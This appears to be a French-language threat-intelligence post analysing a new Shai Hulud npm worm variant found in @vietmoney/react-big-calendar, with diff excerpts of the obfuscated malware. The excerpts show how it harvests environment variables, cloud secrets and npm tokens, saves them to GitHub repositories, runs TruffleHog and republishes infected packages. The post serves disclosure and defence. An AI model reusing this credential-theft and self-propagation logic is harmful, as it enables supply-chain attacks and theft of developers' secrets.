Il y a 30 minutes, nous avons détecté ce que nous pensons être la première instance d'une nouvelle souche de Shai Hulud, qui a été téléchargée sur npm dans le package @vietmoney/react-big-calendar :
https://www.npmjs.com/package/@vietmoney/react-big-calendar
Il contient une nouvelle souche inédite de Shai Hulud. À l'heure actuelle, il ne semble PAS y avoir de propagation ou d'infections majeures. Cela suggère que nous avons peut-être surpris les attaquants en train de tester leur charge utile. Les différences dans le code suggèrent que cela a été de nouveau obfusqué à partir de la source originale, et non modifié sur place. Cela rend très improbable qu'il s'agisse d'une copie, mais plutôt d'une création par quelqu'un ayant eu accès au code source original du ver.
Ici, nous documenterons les nouveautés.
Nouveautés ?
Ils ont fait une erreur
Nous avons observé que l'acteur de la menace a commis une erreur dans son code. Ils ont modifié les noms de fichiers, mais ont fait une erreur :
201424,201425c201387,201388
< let _0x79fc7c = "https://raw.githubusercontent.com/" + _0x44d2dc + '/' + _0x946d5 + "/main/contents.json";
< let _0x13d2d2 = await fetch(_0x79fc7c, {
---
> let _0x20e4ac = "https://raw.githubusercontent.com/" + _0x168165 + '/' + _0x6e4ad4 + "/main/c0nt3nts.json";
> let _0x34b06b = await fetch(_0x20e4ac, {210001,210009c209956,209968
...
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
...Notez que dans le premier cas, il tente de récupérer le fichier c0nt3nts.json, mais il enregistre en fait le fichier c9nt3nts.json. Oups !
Structure du fichier
Cette nouvelle souche de Shai Hulud présente quelques modifications :
- Le fichier initial est maintenant appelé
bun_installer.js - La charge utile principale est appelée
environment_source.js
Nouvelle description du dépôt GitHub
Lors de la fuite de données vers GitHub, il attribue désormais au dépôt la description "Goldox-T3chs: Only Happy Girl.
201406,201407c201369,201370
< let _0x49fcc3 = await this.octokit.rest.search.repos({
< 'q': "\"Sha1-Hulud: The Second Coming.\"",
---
> let _0xa94c36 = await this.octokit.rest.search.repos({
> 'q': "\"Goldox-T3chs: Only Happy Girl.\"",Nouveaux noms de fichiers divulgués
- 3nvir0nm3nt.json
- cl0vd.json
- c9nt3nts.json
- pigS3cr3ts.json
- actionsSecrets.json
Dispositif d'homme mort disparu
Le dispositif d'homme mort semble avoir disparu, ce qui est une bonne nouvelle :

Gestion des erreurs améliorée pour TruffleHog
Il dispose désormais d'une meilleure gestion des erreurs lorsque TruffleHog dépasse le délai :
209658,209659c209621,209623
< let _0x2b320d = setTimeout(() => {
< _0x51292c.kill();
---
> let _0x28178f = setTimeout(() => {
> _0x8a1d5e.kill();
> _0x15b267(Error("Trufflehog execution timed out after " + this.config.timeout + 'ms'));Publication de paquets dépendante de la version
Dans la version précédente, il tentait d'appeler bun pour publier un package qu'il avait infecté, ce qui ne fonctionne pas sous Windows. Il gère désormais cela.
209511,209514c209474,209477
< }, ['package']);
< let _0x3b13f2 = "bun";
< if (a0_0x647ad2.platform() === "win32") {
< _0x3b13f2 = "bun.exe";
---
> }, ["package"]);
> let _0x4a8bac = "bun";
> if (a0_0x3a4d5e.platform() === 'win32') {
> _0x4a8bac = "bun.exe";
209516c209479
< await Bun.$`npm publish ${_0x4fc35c}`.env({
---
> await Bun.$`${_0x4a8bac} publish ${_0x21c5dd}`.env({Ordre de collecte des secrets
Il y a une différence subtile, mais importante, dans l'ordre de collecte et de sauvegarde des données, ce qui suggère un changement intentionnel. Notez que dans l'ancienne version, il sauvegardait d'abord le fichier "contents". Maintenant, il le sauvegarde en dernier.
209986,209990c209945
< let _0x5bb75d = {
< 'environment': process.env
< };
< let _0x6e06c0 = _0x1b7dd4.saveContents("contents.json", JSON.stringify(_0x5735a8), "Add file");
< let _0x3e4549 = {
---
> let _0xa50f9e = {
209992c209947
< 'secrets': await _0x30fddc.runSecrets()
---
> 'secrets': await _0x511a7b.runSecrets()
209995c209950
< 'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x2efcec.listAndRetrieveAllSecrets()
209998c209953
< 'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
---
> 'secrets': await _0x390843.listAndRetrieveAllSecrets()
210001,210009c209956,209968
< let _0x3adc69 = _0x1b7dd4.saveContents("environment.json", JSON.stringify(_0x5bb75d), "Add file");
< let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
< let _0xe09164 = await El(_0x4692e0);
< if (_0x11ccd2 && _0x345f28) {
< let _0x4012fb = await _0x345f28;
< if (!_0xe09164.npmTokenValid) {
< for (let _0x5998e5 of _0x4012fb) if (typeof _0x5998e5 === "object" && _0x5998e5 !== null && !Array.isArray(_0x5998e5)) {
< for (let [_0x11c4f3, _0x402786] of Object.entries(_0x5998e5)) if (typeof _0x402786 === "string" && _0x402786.startsWith("npm_")) {
< if (!(await El(_0x402786)).npmTokenValid) {
---
> let _0x5801a8 = {
> 'environment': process.env
> };
> let _0x1c3489 = _0x43e355.saveContents("3nvir0nm3nt.json", JSON.stringify(_0x5801a8), "Add file");
> let _0x383025 = _0x43e355.saveContents("cl0vd.json", JSON.stringify(_0xa50f9e), "Add file");
> let _0x443533 = _0x43e355.saveContents("c9nt3nts.json", JSON.stringify(_0x594cb1), "Add file");
> let _0x5a8131 = await El(_0x587238);
> if (_0x582c1c && _0x218a2b) {
> let _0x2eb280 = await _0x218a2b;
> if (!_0x5a8131.npmTokenValid) {
> for (let _0x66a856 of _0x2eb280) if (typeof _0x66a856 === "object" && _0x66a856 !== null && !Array.isArray(_0x66a856)) {
> for (let [_0x8baf81, _0x5cea54] of Object.entries(_0x66a856)) if (typeof _0x5cea54 === 'string' && _0x5cea54.startsWith("npm_")) {
> if (!(await El(_0x5cea54)).npmTokenValid) {
Ceci est une histoire en cours de développement. Restez à l'écoute.

